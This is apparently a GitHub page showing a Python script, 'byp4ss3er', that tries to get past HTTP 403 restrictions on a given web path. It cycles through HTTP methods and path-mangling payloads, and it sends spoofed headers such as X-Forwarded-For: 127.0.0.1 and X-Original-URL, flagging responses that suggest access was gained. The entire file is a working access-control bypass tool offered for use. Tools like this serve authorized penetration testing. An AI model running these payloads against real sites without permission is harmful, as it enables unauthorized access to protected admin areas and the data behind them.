-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathbyp4ss3er.py
166 lines (138 loc) · 4.7 KB
/
byp4ss3er.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
import requests
from sys import exit, argv
from colorama import Fore, Back, Style,init
init()
print("""
__ __ __ _____
/ /_ __ __ ____ / // / _________|__ /_____
/ __ \/ / / / / __ \/ // /_/ ___/ ___//_ </ ___/
/ /_/ / /_/ / / /_/ /__ __(__ |__ )__/ / /
/_.___/\__, / / .___/ /_/ /____/____/____/_/
/____/ /_/
version: 1.0
coded by (twitter: @Salahboij)
""")
print(Fore.GREEN,"\rIF BYPASSED ACCORDING TO THE ANALYSIS => GREEN")
print(Fore.YELLOW,"\rIF REDIRECT => YELLOW ")
print(Fore.LIGHTRED_EX,"\rIF DIDN'T BYPASS => RED\n ")
def getArgs():
try:
URL = argv[1]
PATH = argv[2]
return URL, PATH
except:
print("\n\nPlease use this format => ./byp4ss3er http(s)://url /path \n")
print("Example => ./byp4ss3er http(s)://somewebsite.com /admin \n\n")
exit() # kill the program
def fixedHeaders(URL,PATH):
payloads = {
'X-Original-URL':'127.0.0.1',
'X-Forwarded-For':'127.0.0.1',
'X-Client-IP': '127.0.0.1',
'Client-IP': '127.0.0.1',
'Proxy-Host': '127.0.0.1',
'X-Forwarded': '127.0.0.1',
'X-Forwarded-By': '127.0.0.1',
'X-Forwarded-For':'127.0.0.1',
'X-Forwarded-For-Original':'127.0.0.1',
'X-Forwarded-Host': '127.0.0.1',
'X-Forwarded-Server': '127.0.0.1',
'X-Forwarder-For': '127.0.0.1',
'X-Forward-For': '127.0.0.1',
'Referer': URL+PATH,
'Referrer': URL+PATH,
'X-Host': '127.0.0.1',
'X-Original-Remote-Addr':'127.0.0.1',
'X-Proxy-Url': '127.0.0.1',
'X-Forwarded-Proto': '127.0.0.1',
'X-Real-Ip': '127.0.0.1',
'X-Remote-Addr': '127.0.0.1',
'X-Custom-IP-Authorization':'127.0.0.1',
'X-Originating-IP': '127.0.0.1',
}
return payloads
def dynamicHeaders(PATH):
payloads = {
'X-Original-URL':PATH,
'X-Rewrite-URL': PATH,
'X-Override-URL': PATH
}
return payloads
def httpMethods():
Methods = ['GET', 'POST', 'DELETE', 'PUT', 'OPTIONS', 'TRACE', 'TRACK']
return Methods
def pathManipulating(PATH):
payloads = [
PATH+'?',
PATH+'??',
PATH+'&',
PATH+'%',
PATH+'%20',
PATH+'%09',
PATH+'/',
PATH+'..;/',
'./'+PATH,
'./'+PATH+'/',
PATH+'//',
PATH+';/',
PATH+'/*',
PATH+'/.',
PATH+'./.',
PATH+'/./',
PATH+'%23',
PATH+'~',
PATH+'/~',
PATH+'.json',
]
return payloads
def checkResponse(r):
if r.status_code >= 200 and r.status_code <299:
return r.status_code, Fore.GREEN
elif r.status_code >= 300 and r.status_code <399:
return r.status_code, Fore.YELLOW
elif r.status_code >= 400 and r.status_code <599:
return r.status_code, Fore.RED
def start():
URL, PATH = getArgs()
print(Fore.WHITE,"\r\n####### WITH HTTP Different Methods #######")
for method in httpMethods():
try:
r = requests.request(method,URL+PATH,allow_redirects=False)
code, color = checkResponse(r)
print(color, method, " | ",URL+PATH, "=> ",code )
except:
pass
print(Fore.WHITE,"\r\n####### WITH Path Manipulating #######")
for path in pathManipulating(PATH):
try:
r = requests.get(URL+path,allow_redirects=False)
code, color = checkResponse(r)
print(color,URL+path, "=> ",code )
except:
pass
print(Fore.WHITE,"\r\n####### WITH HTTP HEADERS #######")
for header, value in fixedHeaders(URL,PATH).items():
try:
getHeader = {header: value}
r = requests.get(URL+PATH, headers=getHeader,allow_redirects=False)
code, color = checkResponse(r)
print(color,header," | ", URL+PATH, "=> ",code )
except:
pass
for header, value in dynamicHeaders(PATH).items():
try:
getHeader = {header : value }
checkRequest = requests.get(URL+"/" )
r = requests.get(URL+"/", headers=getHeader,allow_redirects=False
)
code, color = checkResponse(r)
if color == Fore.GREEN:
if checkRequest.text != r.text:
print(color,header," | ", URL+PATH, "=> ",code )
else:
print(Fore.RED,header," | ", URL+PATH, "=> ",code )
else:
print(color,header," | ", URL+PATH, "=> ",code )
except:
pass
start()